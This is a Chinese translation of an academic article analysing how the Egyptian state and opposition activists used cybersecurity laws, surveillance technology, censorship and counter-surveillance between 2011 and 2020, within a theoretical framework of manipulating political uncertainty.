更广泛地讲，网络安全关注的问题同时又是无可辩驳但又难以界定的风险，随着技术的发展而迅速变化。这种灵活性意味着带有“网络安全”标签的政策和技术，是旨在操纵不确定性的政治战略的理想候

选。

海湾国家和土耳其的网络安全研究表明，一系列国内政治参与者重新定义和利用了网络安全这个概念，以获取或保留自己的权力。国际上一直存在一种传统的理解方式，认为支持“网络安全”和“信息安全”的国家之间是两极分化的，这些研究则打破了这一传统理解方式，表明两者可以同时存在于一个国家。

本文扩展了这些相关区域研究的结论，以显示埃及的各种政治角色如何利用网络安全这一概念来操纵不确定性。在下一部分内容中，我们将理论讨论从对战略的静态检查中转移出来，以探索不确定性的动态。

数字政治中不确定性的动态

「图」

抗争政治涉及的是行动流程和动态，而不是静态战略。政治行为是在特定的环境中进行的，是对特定对手的回应和对成功的寻求。对抗争政治的动态或关系性方法研究往往围绕着镇压和异议、抗议、动员、和/或冲突之间的“关系”。对关系的确认突出了双方的行动如何影响对方，从而塑造政治竞争的整体轨迹—— 有时还需要自发的行动将这种互动转向趋近或远离暴力。

这种行动既包括直接的争夺，也包括其他选择：如反对派选择不抗议，或者对国家来说，“迁就”反对派。这种动态的方法被系统地表述为“战略互动论”，由 Jasper 和 Duyvendak 等人探讨。学者们将这些概念框架应用于埃及抗争政治的各个方面，包括伊斯兰运动的动员和镇压。这一研究领域还强调国家的分解，与埃及军事、情报和总统权力之间紧张关系的较长期观点相一致。

然而，研究战略互动和抗争政治的学者基本上都忽略了作为争论场所的网络安全，例如，Volpi 和 Jasper 撰写的关于“阿拉伯之春”各国抗议动态的其他优秀著作根本没有涉及网络安全问题，社交媒体只是作为一种背景技术变革去理解，而不是争议场所。本文试图纠正这一疏漏。为此借鉴了在中东（如伊朗）和更广泛的地区将抗争政治、专制实践和“数字行动主义”联系起来的研究。

虽然这些工作也避免了与网络安全概念的直接接触，但它为数字政治的研究提供了更复杂的理论基础 —— 包括下文即将详述的监控和创造性抵抗问题。

与抗争政治一样，网络安全中的攻防发展也是动态的、依赖于情境的、对抗性的；攻防行动只有在特定的情境中才会成功或失败，一方面，反复告诫网络安全防御者要“理解威胁行动者”—— 战略性思考方式，另一方面，发现高级威胁的特征之一—— 也是成功的渗透测试者的标志 —— 是花在对特定目标侦察上的时间。总的来说，这种现象在网络安全中形成了一种“猫鼠游戏”的特点，即：防御方面的改进促使进攻战术的调整来克服这些改进，反之亦然。

转向行动流程和动态，而不是静态战略，意味着本文第一节所阐述的对操纵不确定性战略的概述是不够的，还需要问：如何进行这些战略互动？我们可以用上述两套战略的划分来理论化这种互动：第一套战略用来管理或最小化行为人的主观不确定性，第二套战略则最大化或利用对手的不确定性。

与其将这两套战略全部概念化为单个行为者可供选择的方案，我们还可以将它们看作是对抗性行为者的应对之举。更全面地讲，行为者在应对和管理不确定性的过程中，最大限度地减少和利用对手的不确定性，反之，在意识到这些对手正在寻求管理和最小化自己的不确定性的同时，也会最大限度地利用特定对手的不确定性。

因此，我们可以将上面表1的三行看作是数字政治中不确定性的三种独立动态，可以将其称为监视/反监视、审查/创造性和冗余/模糊性。这些动态在下面的表2中展示，表2重复了表1，但为上述三种动态增加了第三列（最左边）。本节余下的部分将解释这些动态，并将它们置于其理论背景下，说明我们对每一种动态的描述以及它们之间的区别。

在逐一探讨每一种动态之前，首先强调，与表1一样，这并不是一个详尽的清单，尤其是因为它只涉及数字信息政治。当然，在数字政治之外还有其他不确定性的动态：例如，许多限制物理行动空间的方式在这里没有被处理，因为我们主要关注那些发生在网络内部或涉及网络的动态。我们确实考虑到了重叠，例如，维稳机构对电子设备的拦截和搜查等物理限制导致了行动者去参加抗议活动的不同做法。

不确定性的动态也可以发生在“线下”信息政治中，通过那些不使用数字网络或互联网的交流形式。同样，我们在这里不考虑这些，除非它们与数字政治重叠。

此外，这里所考虑的三种动态确实有交集，往往是在技术层面上：例如，深度包检测技术可以实现在线审查和监控，这取决于它们的配置。

关于第一种动态，政府和反对派活动家彼此都会收集有关对方的数据，并设法对自己的信息保密，但由此产生的监视/反监视动态远非平等。

国家监控在全世界范围内盛行，是由过去20年全球社会对数据的生成、收集和分析的大规模激增所促成的，这与互联网的发展有着根本性的联系。一些学者已经指出，互联网架构本身就旨在国家监控成为可能，并且可以重新配置，使国家更难获取违反人权标准的公民信息。

所有政治行为者都在这种更广泛的数据和数据产品的流通中运作，因此国家和公民都被灌输了“全球监控文化”—— 伴随着不断监控的生活而产生的一系列假设、参考和期望，以及因所在部门和地理位置不同而不同的特定监控文化。

各国一般都试图对监控架构进行保密，以防止其监视目标逃避监控—— 就像美国那样，但在巨量的透明度革命泄密和秘密的“半衰期”越来越短的时代，做到这一点已经越来越困难。最值得注意的是，斯诺登事件的披露加速了监控从自由民主国家向专制国家的转移，在自称民主的国家里，监控存在于表面化的制衡之中 (间谍机构往往不受监督)，在专制国家，监控的使用没有任何限制，以方便镇压。

另一方面，观察和记录的行为是关于非政府组织和人权活动家在国际政治中的作用的标准论述的组成部分，更广泛地说，是关于接触机会有限或故意放弃其他竞争方法的反对派运动的标准论述。

在 Finnemore 和 Sikkink 关于人权倡导中“点名羞辱”的经典论述中，首先要求有能力观察和记录政府的行为，这就掩盖了它对更广泛的监视文化的依赖，在这种文化中，透明度和收集微小级别的数据是常见的做法。这种(数字)观察和记录通常不被视为“监视” (从上面观察)，因为权力严重不对称，国家更有能力对反抗者进行扼杀。因此，“反向监视” (从下面观察) 这个术语被创造出来，以表示在个人对国家采取行动的情况下的分布式数据收集和存储，比如录音设备和可穿戴式摄像机。

在保密方面，对国家数字监控的抵抗可以通过个人实践来培养，许多活动家依靠一系列技术来破坏/阻止监控。他们在这方面得到了一些跨国技术公司的帮助，这些公司宣称的关于隐私的企业伦理以及与自由国家的外交关系（在斯诺登事件披露后，这种关系发生了重大变化），使反对派群体实施了广泛的反向监控措施—— 比如中国异议人士逃离到美国硅谷公司的服务上，美国反抗者逃离到欧洲的

Swisscows、Privatelee等，包括端到端加密技术。

但事实并非总是如此：在更重要的商业市场上，同样的公司仍然与政府的监控行为合作—— 比如中国的TikTok与美国警察合作抓捕美国抗议者；美国巨头甲骨文、谷歌和IBM为中国警察机构创建了恐怖级的大规模监视系统，私有化的数字监控产业创造了一些人常说的 “网络-军工综合体” 。

关于第二种动态，国家限制网络行动空间的主要方式是通过审查和信息控制。学者们注意到，像中国这样的专制国家是如何通过连续 “几代” 的网络信息控制来发展的，从防火墙和简单的过滤，到将在线活动集中到可接受范围内的系统性措施，最后到复杂的内容和民众情绪操纵形式。这些代际是累积性的，而不是过渡性的，这意味着，例如，当国家能够获得复杂的针对具体目标的监控能力时，并不会停止国家层面的封锁，而是在不同的情况下选择何时使用每种能力。信息控制的采用，如监控软件，往往依赖于 “两用” 商业流量管理软件，这些软件最初是针对企业组织开发和销售的，可以在国家层面实施，以扩大在线审查的范围。

📌 为了应对广泛的信息控制，创造力和出其不意是网络抗议和政治行动的关键部分。

码字/隐写术或伪装的图像和视频是逃避网络审查的常见方式。长期存在的线下反抗运动中的创造力和创意技术，如 快闪和去中心化、分散式的抗议行动，已经在网上重新出现，由 “黑客行动主义” 组织 Anonymous 开创。

与监控/反监控一样，信息控制与在线创造力之间的动态关系以明显的权力差异为特征：精英和政府部署大规模的信息控制，而那些权力较小的人则依靠不稳定和不可预测的反审查实践。然而，培养在线的不可预测性需要付出努力—— 需要技术技能的培训和一定的基础知识水平，因此不太可能在埃及等数字访问和文化程度不同的人群中被广泛采用。对于大多数人来说，信息控制和监视只是导致了 “寒蝉效应”，即 公民通过自我审查来限制自己表达任何他们认为对统治机构有批评作用或挑战现有社会规范的想法。

表2中最后两种战略 —— 创建多个重叠系统和模糊或模棱两可的沟通 —— 与前两组战略相比，导致回应/反回应的动态不那么明显。

最后这些战略分别寻求管理或利用主观的不确定性，而不是最小化或最大化这些不确定性，因此应该与前两种动态一起考虑，而不是在前

两种动态之外考虑。例如，从不同的供应商那里购买多个功能重叠的监控系统（埃及政府和其他国家对间谍软件公司 **Hacking Team** 和 **FinFisher** 的做法，将在下一节讨论），可能被认为是一种冗余形式。同样，不同代的信息控制措施同时运作—— 生物识别和群众斗群众同时运作，可以管理任何一个特定控制措施无效的风险，特别是在反抗者个人和其他国家不断寻求规避这些控制措施的情况下。

相反，模糊或模棱两可的沟通是前两种手段的补充战术，可以最大限度地增加对手的不确定性：它严格保密避免泄露秘密信息（例如，在许多国家间谍机构的“既不确认也不否认”的声明中），并通过与多种可能性保持一致来促进不确定和不可预测的行动。因此，表2中提出的“冗余/模糊”动态是暂时性的，并带有一个问号，承认这些战略的不同性质。

最后，这些动态对网络安全政策和技术在操纵不确定性方面的作用有何启示？

在抽象的层面上，似乎很清楚，网络安全可以与这些动态的两方面联系在一起，涉及对威胁和脆弱性的相反概念。例如，国家采用监控技术和活动家采用反监控技术，都可以援引网络安全的理由，每一种理由都需要对什么是网络安全威胁以及应该保护什么有不同的概念。然而，这个问题最好用实证的方法来回答，并将在文章的余下部分进行讨论。

为了预见下面的章节，我们认为网络安全政策和技术出现在第一种动态的两边，而主要出现在第二种和第三种动态的政府方面。

方法

「图」

从方法上讲，这项研究的经验是基于一系列主要和次要来源：相关的国家和区域网络安全立法和合作框架；国家、区域和国际数字权利非政府组织的报告；监控技术招标；以及英文和阿拉伯文的新闻文章。除了通过作者之一作为埃及国民和开罗居民的生活经历收集到的准民族志数据外，还对埃及著名的网络安全专家和活动家进行了三次访谈，对这些资料进行了补充。

三次访谈是半结构化的，发生在2018年初至2019年年中。访谈是当面进行的，部分也是通过电子邮件和VOIPs（Wire和WhatsApp）进

行的，进行了记录，并进行了定性分析。

访谈问题收集了以下方面的数据—但不限于此：埃及的网络安全立法和行为者；埃及关于网络安全的区域和国际合作框架；埃及数字监控和审查的技术和能力；埃及网络安全政策、做法和监控技术的社会影响；国家监控的目标 (活动家、记者、非政府组织等)；埃及的数字行动主义、反监视、秘密监视、审查规避、和数字权利倡导的网络规范；以及技术活动家和权利活动家在国家区域和国际层面的网络联系。

从访谈中收集到的数据为文章的论点提供了参考，但仅仅是下一节所使用的众多资料中的一部分，在可能的情况下，访谈数据与开源数据和本文范围之外的其他实地调查进行了三角测量。由于受访者面临的风险，除了大致的描述、日期和访谈方式外本文不提供受访者的详细个人信息。

【注：在社会科学中，三角测量是指几种研究方法在研究同一现象时的应用和组合。通过结合多个观察员，理论，方法和实证材料，研究人员希望能够克服软弱或内在的偏见和来自单一的方法，单一观察员，以及单论研究的问题。它在社会学中被广泛使用。三角测量的概念是指从确定与从其他两个不同的点进行测量的收敛空间中的单个点导航和陆地勘测技术借用。】

我们注意到，回答相关问题的其他人已经涵盖了其中的一些经验领域，最广泛的是 Fathy 对埃及人权和网上言论自由的出色研究。其他相关的著作包括 Grimm 等人关于敌对环境下人的安全和数字安全的建议，以及 Radsch 对埃及网络行动主义和公民独立新闻的调查。

虽然这些重要的贡献研究了埃及限制数字权利以遏制反对派的方式、数字行动主义面临的挑战、以及适应或颠覆埃及和/或该地区其他国家的国家级监控的方法，但是，孤立地分析国家和/或活动家操纵数字空间以获得其优势的战略是不够的。我们将进一步关注这些战略如何相互作用，并进一步探讨这种互动，特别是在网络安全领域。

正如下一节所明确的那样，围绕网络安全的实证发展强烈地偏向于政府行动，尽管并不完全如此。我们在随后的讨论部分考虑这种不平衡的原因。

埃及的网络安全政治

「图」

本节将概述埃及过去十年的政治发展情况，重点介绍在历届政府和反对派运动之间持续的政治斗争（往往是暴力斗争）背景下的网络安全政策、机构和技术。

本节内容按时间顺序编排，分为三个时期：2011–13年、2014–17年、和2018–20年。这些时期以关键的政治事件为标志：第一个时期是从1月25日革命到2013年6月穆罕默德·穆尔西总统被军方推翻，以及随后的暴力事件；第二个时期是2014年现任总统阿卜杜勒·法塔赫·塞西的当选及其第一个任期；第三个时期是从塞西2018年连任到2020年初。本节内容只是对这个复杂动荡的十年的概述，所以重点介绍了埃及政治的关键时刻，同时由于篇幅原因，省略了许多重要的发展。

2011–13

「图」

在1月25日革命之前，2008年纺织工人在大迈哈莱一家历史悠久的工厂举行的抗议活动被称为“4月6日运动”，此后国家对网络安全的态度发生了重大转变。反对派团体往往模仿4月6日运动或以该运动为核心，利用互联网发表博客、推文，并在 Facebook 页面和群组中进行组织。

这些事件凸显了网络空间的政治重要性，引起了前总统胡斯尼·穆巴拉克政权的注意。**2009**年，埃及已经拥有了由诺基亚西门子网络公司提供的可以大规模接入电话网络的技术。2011年，《赫芬顿邮报》报道称，埃及政府数年来一直在使用波音公司源自以色列的子公司**Narus**生产的深度包检测（**DPI**）监控技术。正如我们在其他地方详细回顾的那样，此时与网络安全相关的主要立法是2003年的《电信法》，该法允许广泛的监控：它赋予国家维稳机构在全面动员的情况下拥有控制所有电信服务、资源和管理的权力。

这些新形式的网络空间行动主义反复动员公众舆论，特别是在2010年6月 Khaled Saeed 在警察拘留中死亡之后，为2011年的起义铺平了道路。

个人活动家与非政府组织、工会、博主和反对派团体一起，利用社交媒体平台，特别是 Facebook 群组和“我们都是哈立德·赛义德”等页面，策划了1月25日的抗议活动。最初是抗议警察滥用职权的目的，后来扩展到要求穆巴拉克辞职。

此外，一场网上运动动员了数千名居住在海外的埃及人返回以支持抗议活动。18天的起义后，穆巴拉克下台，武装部队最高委员会在过渡期内进行统治，直到2012年穆斯林兄弟会总统候选人穆罕默德-穆尔西当选。

2011年的大规模动员凸显了网络空间作为政治行动主义的替代空间和民主工具的潜力。

埃及政府对这一潜力十分警惕，多次试图封锁互联网和打击网络活动，其中最臭名昭著的是在最初的抗议活动中封锁了Facebook和Twitter，随后关闭互联网长达5天。这次关闭很可能是通过政府机构给所有主要的互联网服务提供商打电话，指示他们停止服务，这可能是根据《电信法》实现的（尽管托管股票交易所的互联网服务提供商仍然在线）。

据报道，埃及的断网导致经济损失约1.1亿美元。为了规避互联网封锁，谷歌和推特推出了一个 “voice-to-text” 软件，允许公民在没有互联网的情况下进行通信。该软件允许使用标签 #egypt 将在线语音邮件作为文本在Twitter上发送。

抗议活动结束后，维稳机构通过追踪手机，锁定并逮捕了参与抗议活动的活动家。为了防止这种情况发生，抗议者开始在集会中取下手机电池，而其他人学会了不带手机。

2011年1 月的事件还揭示了现有国家监控的进一步细节。2011年3月，当抗议者闯入埃及维稳机构国家安全调查总部时，他们检索并披露了入侵**Skype**和电子邮件账户并控制目标设备的定向监控技术的招标，即 从当时英国的 **Gamma** 国际公司（现德国的 **FinFisher** 公司）进口的 **“FinSpy”** 监控软件。

此外，还披露了私人电信公司与政府合作以监控所有人的通话和短信，透露用户数据，安装信息拦截和间谍软件技术，并封锁网站。对社交媒体的压制更加普遍；例如，2011年晚些时候，一名博主因在Facebook 上发表批评军方的文章而被送进监狱。2012年，埃及政府从美国 **Blue Coat** 公司购买了间谍软件和设备，以审查和监控在线通信。

在此期间，主要的网络安全政策变化是2012年公布了埃及的国家信通技术战略。同样的战略后来在塞西的领导下被重新推出，成为2014–17年而不是2012–17年的战略，但没有做出其他改变。

该战略本身对于《电信法》中监控条例所需的修改极为模糊。一方面，它指出2003年的法律“包含某些条款，需要根据埃及的民主转型进行修改，以促进政治开放和保护言论自由”（第9页）；但另一方面，它也对这一目标进行了限定，声称要“在作为基本人权的自由考虑与隐私考虑和国家安全之间实现理想的平衡”(第33页)。因此它声称，“打着自由的旗号，提供可能损害埃及国家安全的信息或暴露与其他国家关系的风险，是不可接受的”**(第33页)**。正如我们在其他地方所论述的那样，这一战略因此既包含了对国家安全的扩张性定义，又包含了对人权的抽象性认可。

2011年1月事件中的团结和乐观的民族主义并没有持续多久。尽管穆尔西通过民主选举上台，但MB政府被广泛视为背叛了反对其议程的自由派公民社会组织和活动家。在 Schmitter 和 Karl 所说的“选举主义的谬误”中，对选举胜利作为民主合法性来源的天真依赖，导致穆尔西政府对满足其他民主权利的要求视而不见。

2013年1月，穆尔西重新实施了紧急状态法，为期30天。2013年6月30日，主要通过社交媒体平台，由青年反叛运动“Tamarrod”组织了第二次大规模反抗。

这次大规模抗议导致2013年7月3日，在军方的干预下，穆尔西被赶下台，随后政府决定宣布MB为被禁止的恐怖组织。

2013年全年，特别是2013年8月军方在开罗 Rabaa 广场驱散MB抗议者后，暴力事件持续不断，据说至少有700人被打死。政治团体甚至家庭内部都出现了深刻的分歧；例如，一位妻子向当局举报其丈夫在Facebook上分享关于 Rabaa 抗议活动的帖子。

2014–17

「图」

2014年的全国总统选举使塞西最初的“看守”角色合法化。不断恶化的安全局势，包括MB分支或ISIS设在西奈的分支 Ansar Beit al-Maqdis 的行动，都有助于军方获得支持。

利用甚至制造危机以收拢权力的做法，在全世界都是如此。所谓的紧急状态多次得到加强，由于当局镇压非暴力的不同意见，“公众舆论被塑造为将公民活动视为阻碍政府反恐努力的非民族主义势力”。

据报道，塞西在2014年的选举中以压倒性的优势赢得了96.91%的选

票。2014年，政府成立了最高网络安全委员会，该委员会的任务是监控网络空间是否有任何 “偏差” 舆论和所谓 “恐怖主义” 内容，但没有对这些术语进行具体定义。

该委员会被描述为一种反恐和反极端主义的工具，是对西奈地区军事行动的补充。网络公共领域面临更多的压制，尤其是对新总统的负面描述：例如，2015年，一位博客作者因发布一张讽刺赛西的图片，只是配上了米老鼠的耳朵，而被捕入狱。

新政权得到了阿联酋和沙特的广泛支持，与卡塔尔对MB政府的支持形成鲜明对比，这一变化体现在监控技术的购买上。

据报道，2014年，法国向阿联酋出售了一套由 Nexa 技术公司制造的监控系统，随后该系统以代号 “Tobleron” 的方式作为礼物送往埃及。与此同时，通过美国 Blue Coat 在当地的关联公司 —— 埃及系统工程公司为内政部（**MoI**）进行的社交媒体监控技术招标也被泄露。

重要的是，这些新的监控技术被宣称为 “网络安全保护措施”，据说属于一个更广泛的计划，名为 “社交网络安全隐患监控行动（舆情测评系统）”—— 想想中国的 ”舆情分析“ 这一概念用来隐瞒社交媒体情报的大规模监控手段，在埃及，这里是一样的。

然而，大规模监控软件的实际使用情况仍不确定。据一位埃及网络安全专家说，维稳机构在人员数量和可用时间方面不具备有效运行这些系统的必要能力。

在此期间，政府对定向监控技术的投资也有所增加。2015年，隐私国际组织公布了埃及政府与意大利定向监控供应商 Hacking Team 之间的合同细节。根据这份报告，Hacking Team 在2015年1月向技术研究部（TRD）发送了一份他们的软件合同，**TRD**是埃及情报机构的一个分支，他们与被广泛编目的侵犯人权行为有关，包括酷刑和虐待以及镇压政治反对派。对一名埃及网络安全专家的采访显示，埃及当局可能在2016年1月意大利博士生 Guilio Regini 遭受酷刑和谋杀之前，利用这一软件对其进行了监视。

在此期间，政府还出台了广泛的新法律和政策来限制网上的异议。2015年的《反恐法》授权国家对数字媒体进行全面的控制，使其能够关闭网站并监控网络传播。法律文本中并没有明确定义什么是网络恐怖主义，但是，任何被认为与所谓的恐怖主义有关的在线活动都被定为刑事犯罪，包括利用互联网学习任何可用于实施恐怖犯罪的技术。

如果发布关于恐怖袭击或反恐行动的所谓“假新闻”与国防部的官方声明相抵触，该法还将对相关人进行起诉。同样，2018年修订的2016年版《新闻媒体监管法》授权媒体监管最高委员会监督数字媒体”对公共道德和国家安全的遵守情况“，并有权封杀任何可能威胁所谓的国家安全的内容。

这些法律伴随着更大的网络审查：截至2016年底，内政部关闭了163个Facebook页面，逮捕了14名Facebook页面管理员，而截至2020年6月，有549个批评埃及现政权和人权状况的本地和外国新闻和媒体网站及平台被封杀。

📌 这些行动都融合了所谓的反恐和网络安全的论述。例如，一家亲政府报纸使用网络安全框架为上述审查制度辩护，并提到包括美国和中国在内的其他国家政府在审查互联网方面的努力是针对“网络恐怖主义”的。

在地区层面，2017年沙特、埃及和美国的领导人发起了一个名为“Etidal”（节制）的全球打击极端主义思想中心，作为打击 ”网络恐怖主义” 和 “网络极端主义” 的多边倡议。

类似的理由也影响了议员们在2016年提出的关于国家版 Facebook 需要公民身份识别才能参与的提案。这一限制的理由是“使用匿名权和隐私权对国家安全构成的网络威胁”的荒谬概念。

根据其中一项建议，埃及的 Facebook 用户将必需支付订阅费来访问 Facebook，为埃及电信或电信监管机构运营的平台和许可证管理数据库提供资金。未付费而登录 Facebook 的个人将被罚款5000埃及镑，或者面临6个月的监禁，或者两者兼而有之。

该议员称，这一制度将有助于国家监控机构打击挑战国家安全的网络内容的任务。最后，根据对一位埃及网络安全专家的采访，这一时期还试图将黑客行动主义列为“高级持续威胁（**APT**）”，将政治行动主义置于网络安全议程的首位。简单说，直接行动反抗的一切战术都被视为“威胁”—— 以“网络安全”为幌子。

在此期间，埃及政府还限制了对虚拟专用网络（VPN）等关键互联网审查规避工具的使用，表面上是为了配合更广泛的地区政策。

一个关键的例子涉及加密消息应用 Signal，该应用在2016年12月被埃及和阿联酋当局封锁。作为回应，与埃及活动家合作 Signal 的创建者更新了该应用程序，以依靠“域前置”（使用加密连接到一个流行

的域名，在这种情况下，由谷歌拥有）作为 Signal 消息的代理。

2017年初，当局进一步尝试封锁 Signal，无意中阻断了谷歌通往埃及的所有流量，造成断网，此事凸显了埃及在线审查的技术局限性和实验性。

最近，谷歌和亚马逊等大型科技跨国公司决定关闭域前置，声称它“带来了网络安全风险”，但这样做就可以使政府更容易封锁 Signal 和其他应用。更广泛地讲，监控规避工具 —— 除了Wire之外—— 在埃及仍然不受欢迎，尽管它们很容易获得，也很容易安装。

最后，与网络安全成为广泛的在线审查和监视的借口相反，埃及政府也被广泛视为对民间社会组织的网络安全威胁。

总部位于多伦多的一家跨学科学术机构公民实验室（The Citizen Lab）分析了两起针对非政府组织的网络钓鱼攻击，此前，非政府组织被指责未经国家授权接受外国资金，用于有“外国议程”的项目。

这些攻击诱使收件人提供其工作邮件和文件共享账户的个人信息和密码。这些活动的目标很明确：第一波攻击冒充非政府组织“Al Nadeem 暴力受害者康复中心”，而第二波攻击则发送一个假链接，欺骗受害者获取最新信息，如被拘留者的下落或逮捕令。

观察到的另一种复杂的战术是操纵社交媒体和电子邮件账户上的两步验证程序，一些知名活动家都被以这种方式成为国家的目标。

值得注意的是，活动人士 Ola Shohba 的个人账户在2017年7月被泄露，她用于双因素验证的手机号码被停用。Shohba 认为，埃及对SIM卡注册有严格的规定，需要持国民身份证亲自到场，这表明她的手机供应公司与埃及当局合作，促成了这一权限。

大赦国际在2020年进行的研究揭示了这些网络钓鱼活动与上述 **FinFisher** 恶意软件之间的联系；然而，目前还不清楚这些联系在多大程度上表明公司继续与政府合作，或者更有可能是对 (现已公开的) 恶意软件代码进行试验。

2018–2020

「图」

到塞西的第一个总统任期结束时，在严格的经济措施对大多数埃及人

产生负面影响的情况下，他以前的人气开始消退，此外政府还加强了对异议、自由和公民空间的打击。

埃及宏观经济的大趋势围绕着2016年11月国际货币基金组织（IMF）提供的120亿美元贷款而展开。IMF贷款的关键条件之一是2016年11月埃及镑在国际货币市场上的浮动，导致埃及镑立即贬值，因此大部分商品价格上涨：2017年通胀率攀升至30%左右，2018年回落至15%。**IMF**实施的措施加剧了现有的结构性经济问题，导致世界银行在**2019**年**7**月将埃及**60%**的人口描述为“贫困或脆弱”，尽管一个月后政府根据人为的低贫困门槛发布了更乐观的数字。

新的大型项目，如靠近开罗的行政首都仍在建设中，以及2015年苏伊士运河的延伸，同时为军事机构提供合同，增加了埃及政治走向的不确定性。尽管如此，塞西还是在2018年以97%的得票率连任，但投票率较低。

在主要对手被捕后，塞西只和另外一名候选人—— 而且这位候选人本人就是塞西的支持者—— 一起参加选举，其他反对派候选人都被恐吓手段阻止参加投票。相反，塞西的政治、经济和安全措施却得到了支持者的赞扬，称这些措施是“维护国家安全的必要措施”。

在塞西连任后不久，2018年8月，议会批准了此前几年反复重新起草的网络犯罪法。正如我们在其他地方所论述的，这部法律的规定极其模糊。

《反网络与信息技术犯罪法》通过要求互联网服务提供商存储并向政府提供用户的数据、信息系统的内容、以及使用的设备，将监控合法化。该法还规定，如果网站管理员在受到网络攻击时没有向当局报告，也没有采取防范措施确保通信安全，将受到处罚。

该法律将运营或使用煽动犯罪的“网站”定为犯罪，并对“网站”进行了广泛的定义，包括 **Facebook**、**Twitter** 等平台上的公共页面和个人账户。它含糊地将犯罪或非法内容认定为可能损害“社会安全和凝聚力”的任何活动 —— 类似中国的“寻衅滋事”。

埃及非政府组织认为，在起草过程中，“电子邮件”或“网站”等术语严重不精确是立法者缺乏专业知识的表现。一位受访者认为，这种缺乏专业知识的情况是由于故意排除了相关的法律和技术专家以及非政府组织的代表。

最后，该法律对利用网络空间实施的相同犯罪（如 呼吁抗议）的处罚

更加严厉。这反映了2010年《阿拉伯打击网络犯罪公约》合作框架下的区域转变，该公约限制了广泛的电子和技术活动。

塞西在2019年通过全面的宪法修正案继续巩固权力。这些修正案包括将总统任期限制延长至2024年，并允许他在任期结束时竞选连任，从而在2030年前再任6年。尤其是，还扩大了军事法庭对平民的管辖权，增加了总统的行政权力。

民间组织认为，这些修正案缩小了公民空间，是民主的丧钟。这一时期还出台了新的《国家网络安全战略》，日期为 2017–21，并于2018年12月公开发布。这项新战略复制了上文提到的早期ICT战略的许多模糊之处，强调了模糊的网络恐怖主义和网络战威胁，但与上文讨论的新的国家数字身份系统的建议并列。

在日益增长的不满和冷漠中，2019年，社交媒体公司披露并拆除了埃及的几个亲政府虚假信息网络。2019年8月，Facebook 删除了378个在中东地区传播虚假信息的账户，追踪来源是阿联酋的 “Newave” 和埃及的 “New Waves” 媒体公司。

根据数字取证研究实验室的数据，New Waves 的管理者还在2017年和2018年注册了其他多个组织，旨在通过一系列渠道协调放大亲政府的宣传。

2019年9月，Twitter 删除了271个针对伊朗和卡塔尔的虚假信息账户，这些账户是由一家名为 “DotDev” 的公司创建和管理的，该公司同样位于阿联酋和埃及。一个月后，Facebook 删除了448个源自阿联酋、埃及和尼日利亚，并面向全球的账号，与一家名为 “Flexell” 的媒体公司有关；还删除了301个宣传阿联酋、沙特和埃及，批评卡塔尔、伊朗、土耳其的账号，源自埃及，与一家名为 El Fagr 的媒体有关。

在这一波取缔行动之前，由于美国的政治压力越来越大，Facebook和Twitter对虚假信息的关注度也越来越高，美国有影响力的政客和学者呼吁将外国虚假信息视为 “网络安全威胁”。

2019年9月，一名前军事承包商穆罕默德·阿里在社交媒体上宣传，试图激起人们对军方的反感。在一系列流亡中拍摄的视频中，他表示 塞西正在挥霍公共资金，将其用于军方领导的建设项目，并在埃及民众生活紧缩的情况下建造宏伟的宫殿。

随后的抗议活动遭到了 “老式” 的大规模监控，维稳机构将网络攻

击、和加强对社交媒体的警戒、与在街头随机“拦截和搜查”手机和笔记本电脑相结合。此外，NetBlocks 的技术测量显示，政府放慢了速度，并暂时禁止 Facebook messenger 允许人们在抗议活动期间分享地理位置和图片。

更普遍的是，在一些互联网服务供应商网络上，对社交媒体的访问变得不可用/时断时续。为了规避这种情况，活动家和个人在前往市中心或解放广场之前制定了新的做法：删除可能使他们被定罪的任何政治文章和信息；暂时停用 Facebook 页面和 Messenger；用第二个没有任何政治内容的“搞笑的” Facebook 分身账户登录手机和笔记本电脑。

更普遍的是，在整个十年间，埃及因数字行动主义而导致的镇压总体上有所增加，反映了更广泛的趋势。开放技术基金会（Open Technology Fund）的一份报告对与社交媒体和在线活动有关的逮捕进行了编目，突出强调了几种模式，包括反复针对知名活动家的倾向，以及专注于分享特定内容（例如上文提到的塞西的讽刺图片）。

除了本节详述的电子设备扣押、监视和其他手段外，本报告还强调了网上线人的作用，一位受访者指出，记者们互相举报对方的网上观点。

同样，尽管亲政府的个人和团体历史上曾通过向国家安全组织举报活动人士来对付他们，但现在已经没有必要了。取而代之的是，个人可以加入 Facebook上的任何亲政府团体/页面 (如“fi hob Al-Sisi” [爱塞西])，并向该团体的其他成员举报一个特定的活动家账户，然后该团体/页面的所有成员都可以向 Facebook 报告某活动家的账户是“滥用或假冒的”，从而导致封杀该账户。

因此，这里对政府机构的行动和一组相对狭窄的反对派活动家的关注，必须放在政治辩论两极分化和社会对在线辩论的隐私和适当性的期望不断变化的大背景下。

处理不确定性

「图」

上一节的内容表明，网络安全政策、做法和技术是埃及政治的核心部分。在出台网络安全法律和技术的问题上，一直存在着旷日持久的政治斗争，最明显的是围绕监控技术采购和2018年网络犯罪法的泄密事件。

埃及政治中出现了对网络安全的多种解释，从网络安全狭义上关注对网络的入侵，到更广泛地与个人权利联系在一起，将隐私作为网络安全的要素和助推器，以及将网络安全作为国家信息安全的基础。然而，这一综述也表明，网络安全政策、实践和技术不仅仅是政治竞争的“主题”，也是政治工具，被当权者及其反对派同时使用。

本节使用前两节中发展的操纵不确定性的理论框架来分析上述详细事件。正如前文所论述的那样，操纵不确定性是在位精英和反对派活动家都会使用的既定目标，有人将操纵不确定性置于政治变革的核心位置。

我们提出了一个框架，其中包含了行动者操纵（主观）不确定性的两大途径：最小化或管理自己的不确定性、和最大化或利用对手的不确定性。然后，我们将这一框架扩展到包括六种配对战略，创造了操纵不确定性的三种总体动态（表2）。因此，两个关键问题是，过去十年埃及政治在多大程度上涉及操纵不确定性的战略和动态，以及网络安全政策、实践和技术在哪些方面适合这些战略和动态。

在以下段落中，我们依次回答每一对战略及其相关动态的这些问题。我们通过将上文第1和第2节的理论框架与第4节的经验数据相结合的方式来进行。因此，这一讨论是在前几节提到的埃及数字政治的二手文献的基础之上，从我们的研究中得出的。

在审视这些战略之前，必须明确本节主张的范围。当我们说某一事件表明了一种操纵不确定性的战略时，我们并没有说这是特定个人的明确意图。这将是有问题的，原因有几个，包括有关个人（如政府高级官员）意图的数据的可获得性，以及该数据的可靠性—— 尤其是公开声明的意图很少能准确指导实际的决策程序，在埃及和其他地方都是如此。最重要的是，这将是个问题，因为大多数战略行动都会实现多个目标，尤其是在复杂的政治舞台上。

